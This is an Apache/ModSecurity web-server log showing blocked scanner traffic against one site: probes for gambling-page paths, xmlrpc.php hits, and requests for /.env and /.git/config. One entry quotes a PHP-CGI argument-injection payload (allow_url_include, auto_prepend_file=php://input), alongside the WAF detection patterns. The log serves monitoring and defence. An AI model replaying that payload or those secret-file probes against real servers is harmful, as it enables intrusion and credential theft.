[Sat May 23 09:01:59.338496 2026] [:error] [pid 30941:tid 30977] [client 147.135.213.170:50934] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahD8h3TIgjSDhiZmvlU_YwAAAEE"]
[Sat May 23 09:02:01.209707 2026] [:error] [pid 25876:tid 25892] [client 147.135.213.170:50948] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahD8iQSpWUCKPezIBJC6cAAAAQ4"]
[Sat May 23 09:02:03.230306 2026] [:error] [pid 30941:tid 30995] [client 147.135.213.170:43568] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahD8i3TIgjSDhiZmvlU_awAAAFM"]
[Sat May 23 09:02:05.239736 2026] [:error] [pid 31039:tid 31060] [client 147.135.213.170:43582] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahD8jaIYDYo8WvA5zLKP_wAAANM"]
[Sat May 23 09:02:07.117196 2026] [:error] [pid 30942:tid 31006] [client 147.135.213.170:43586] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahD8j9Uosz64YFiBlG3gzwAAAIM"]
[Sat May 23 09:02:09.126126 2026] [:error] [pid 30942:tid 31025] [client 147.135.213.170:43594] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahD8kdUosz64YFiBlG3g0gAAAJY"]
[Sat May 23 09:02:11.156330 2026] [:error] [pid 31039:tid 31042] [client 147.135.213.170:43598] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahD8k6IYDYo8WvA5zLKQBAAAAME"]
[Sat May 23 09:02:13.029806 2026] [:error] [pid 30942:tid 31023] [client 147.135.213.170:43610] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahD8ldUosz64YFiBlG3g2wAAAJQ"]
[Sat May 23 09:02:15.044963 2026] [:error] [pid 31039:tid 31062] [client 147.135.213.170:47774] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahD8l6IYDYo8WvA5zLKQDQAAANU"]
[Sat May 23 09:02:17.092956 2026] [:error] [pid 30940:tid 30971] [client 147.135.213.170:47784] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahD8mZqUP2XZmzp7RDqXDQAAABY"]
[Sat May 23 09:02:19.107477 2026] [:error] [pid 30940:tid 30956] [client 147.135.213.170:47788] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahD8m5qUP2XZmzp7RDqXEQAAAAc"]
[Sat May 23 09:02:21.116511 2026] [:error] [pid 30942:tid 31017] [client 147.135.213.170:47802] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahD8ndUosz64YFiBlG3g5QAAAI4"]
[Sat May 23 09:02:23.137689 2026] [:error] [pid 31039:tid 31063] [client 147.135.213.170:47806] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahD8n6IYDYo8WvA5zLKQHgAAANY"]
[Sat May 23 09:02:25.149721 2026] [:error] [pid 30942:tid 31014] [client 147.135.213.170:45154] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahD8odUosz64YFiBlG3g5gAAAIs"]
[Sat May 23 09:02:27.164695 2026] [:error] [pid 30941:tid 30990] [client 147.135.213.170:45166] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahD8o3TIgjSDhiZmvlU_jAAAAE4"]
[Sat May 23 09:02:29.184175 2026] [:error] [pid 30941:tid 30984] [client 147.135.213.170:45174] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahD8pXTIgjSDhiZmvlU_jgAAAEg"]
[Sat May 23 09:02:31.045019 2026] [:error] [pid 30940:tid 30951] [client 147.135.213.170:45182] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahD8p5qUP2XZmzp7RDqXGQAAAAI"]
[Sat May 23 09:02:33.070010 2026] [:error] [pid 30941:tid 30994] [client 147.135.213.170:45188] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahD8qXTIgjSDhiZmvlU_mAAAAFI"]
[Sat May 23 09:02:35.082932 2026] [:error] [pid 30942:tid 31019] [client 147.135.213.170:59302] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ahD8q9Uosz64YFiBlG3g7wAAAJA"]
[Sat May 23 09:02:36.950893 2026] [:error] [pid 25876:tid 25882] [client 147.135.213.170:59308] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ahD8rASpWUCKPezIBJC6ugAAAQQ"]
[Sat May 23 09:02:38.958649 2026] [:error] [pid 30941:tid 30990] [client 147.135.213.170:59314] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ahD8rnTIgjSDhiZmvlU_oQAAAE4"]
[Sat May 23 09:02:40.842399 2026] [:error] [pid 25876:tid 25900] [client 147.135.213.170:59322] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ahD8sASpWUCKPezIBJC6xwAAARY"]
[Sat May 23 09:02:42.875005 2026] [:error] [pid 30940:tid 30966] [client 147.135.213.170:59330] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ahD8spqUP2XZmzp7RDqXHQAAABE"]
[Sat May 23 09:02:44.903909 2026] [:error] [pid 25876:tid 25880] [client 147.135.213.170:53412] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ahD8tASpWUCKPezIBJC61gAAAQI"]
[Sat May 23 09:02:46.758863 2026] [:error] [pid 30941:tid 30996] [client 147.135.213.170:53426] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ahD8tnTIgjSDhiZmvlU_qwAAAFQ"]
[Sat May 23 09:02:48.777959 2026] [:error] [pid 30941:tid 30985] [client 147.135.213.170:53440] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ahD8uHTIgjSDhiZmvlU_rAAAAEk"]
[Sat May 23 09:20:07.359734 2026] [:error] [pid 30942:tid 31004] [client 149.62.206.161:9243] [client 149.62.206.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.62.206.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEAx9Uosz64YFiBlG3kwgAAAIE"]
[Sat May 23 09:20:17.381158 2026] [:error] [pid 30941:tid 30991] [client 149.62.206.161:4069] [client 149.62.206.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.62.206.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEA0XTIgjSDhiZmvlVC0gAAAE8"]
[Sat May 23 09:20:28.040458 2026] [:error] [pid 30941:tid 30996] [client 149.62.206.161:10732] [client 149.62.206.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.62.206.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEA3HTIgjSDhiZmvlVC3wAAAFQ"]
[Sat May 23 09:20:38.734993 2026] [:error] [pid 25876:tid 25886] [client 149.62.206.161:6629] [client 149.62.206.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.62.206.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEA5gSpWUCKPezIBJDBGAAAAQg"]
[Sat May 23 09:20:49.484938 2026] [:error] [pid 30941:tid 30981] [client 149.62.206.161:3481] [client 149.62.206.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.62.206.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEA8XTIgjSDhiZmvlVC4wAAAEU"]
[Sat May 23 09:54:58.330200 2026] [:error] [pid 25876:tid 25882] [client 41.100.197.230:55410] [client 41.100.197.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.197.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEI8gSpWUCKPezIBJDPFAAAAQQ"]
[Sat May 23 09:55:08.811897 2026] [:error] [pid 31039:tid 31055] [client 41.100.197.230:55767] [client 41.100.197.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.197.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEI_KIYDYo8WvA5zLKc9AAAAM4"]
[Sat May 23 09:55:19.739011 2026] [:error] [pid 30941:tid 30978] [client 41.100.197.230:56303] [client 41.100.197.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.197.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEJB3TIgjSDhiZmvlVI7QAAAEI"]
[Sat May 23 09:55:30.289710 2026] [:error] [pid 25876:tid 25886] [client 41.100.197.230:56685] [client 41.100.197.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.197.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEJEgSpWUCKPezIBJDPOgAAAQg"]
[Sat May 23 09:55:41.067386 2026] [:error] [pid 30942:tid 31009] [client 41.100.197.230:57053] [client 41.100.197.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.197.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEJHdUosz64YFiBlG3s6AAAAIY"]
[Sat May 23 11:05:14.941920 2026] [:error] [pid 30940:tid 30972] [client 180.242.176.249:53972] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZapqUP2XZmzp7RDqtKAAAABc"]
[Sat May 23 11:05:25.008809 2026] [:error] [pid 31039:tid 31061] [client 180.242.176.249:54353] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZdaIYDYo8WvA5zLKzLQAAANQ"]
[Sat May 23 11:05:36.153615 2026] [:error] [pid 25876:tid 25888] [client 180.242.176.249:54954] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZgASpWUCKPezIBJDvAgAAAQo"]
[Sat May 23 11:05:46.937993 2026] [:error] [pid 30940:tid 30952] [client 180.242.176.249:55373] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZipqUP2XZmzp7RDqtNgAAAAM"]
[Sat May 23 11:05:57.595852 2026] [:error] [pid 31039:tid 31065] [client 180.242.176.249:55788] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZlaIYDYo8WvA5zLKzRgAAANg"]
[Sat May 23 11:06:08.202938 2026] [:error] [pid 30940:tid 30957] [client 180.242.176.249:56214] [client 180.242.176.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.176.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahEZoJqUP2XZmzp7RDqtPwAAAAg"]
[Sat May 23 12:03:39.537500 2026] [:error] [pid 30940:tid 30957] [client 43.156.204.134:36716] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahEnG5qUP2XZmzp7RDq3lwAAAAg"]
[Sat May 23 14:03:21.682909 2026] [authz_core:error] [pid 30941:tid 30984] [client 142.93.0.66:37358] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Sat May 23 14:03:44.324818 2026] [:error] [pid 30942:tid 31016] [client 142.93.0.66:38312] [client 142.93.0.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "ahFDQNUosz64YFiBlG0pGAAAAI0"]
[Sat May 23 14:03:50.169924 2026] [:error] [pid 25876:tid 25885] [client 142.93.0.66:52314] [client 142.93.0.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ahFDRgSpWUCKPezIBJA0ggAAAQc"]
[Sat May 23 14:04:13.933326 2026] [:error] [pid 31039:tid 31063] [client 142.93.0.66:35838] [client 142.93.0.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "ahFDXaIYDYo8WvA5zLLpyAAAANY"]
[Sat May 23 14:04:44.913212 2026] [:error] [pid 25876:tid 25902] [client 142.93.0.66:54310] [client 142.93.0.66] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "ahFDfASpWUCKPezIBJA0_AAAARg"]
[Sat May 23 15:35:37.268562 2026] [:error] [pid 25876:tid 25893] [client 65.108.125.120:44048] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahFYyQSpWUCKPezIBJBklQAAAQ8"]
[Sat May 23 15:35:39.145482 2026] [:error] [pid 30941:tid 30983] [client 65.108.125.120:16970] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahFYy3TIgjSDhiZmvlWQbAAAAEc"]
[Sat May 23 15:35:41.163261 2026] [:error] [pid 30942:tid 31008] [client 65.108.125.120:16986] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ahFYzdUosz64YFiBlG1CxQAAAIU"]
[Sat May 23 15:35:43.174923 2026] [:error] [pid 30941:tid 30980] [client 65.108.125.120:17000] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ahFYz3TIgjSDhiZmvlWQeQAAAEQ"]
[Sat May 23 15:35:45.169595 2026] [:error] [pid 25876:tid 25884] [client 65.108.125.120:17004] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ahFY0QSpWUCKPezIBJBk1AAAAQY"]
[Sat May 23 15:35:47.186658 2026] [:error] [pid 30941:tid 30983] [client 65.108.125.120:17014] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ahFY03TIgjSDhiZmvlWQfAAAAEc"]
[Sat May 23 15:35:49.258471 2026] [:error] [pid 30940:tid 30967] [client 65.108.125.120:48908] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ahFY1ZqUP2XZmzp7RDrh-QAAABI"]
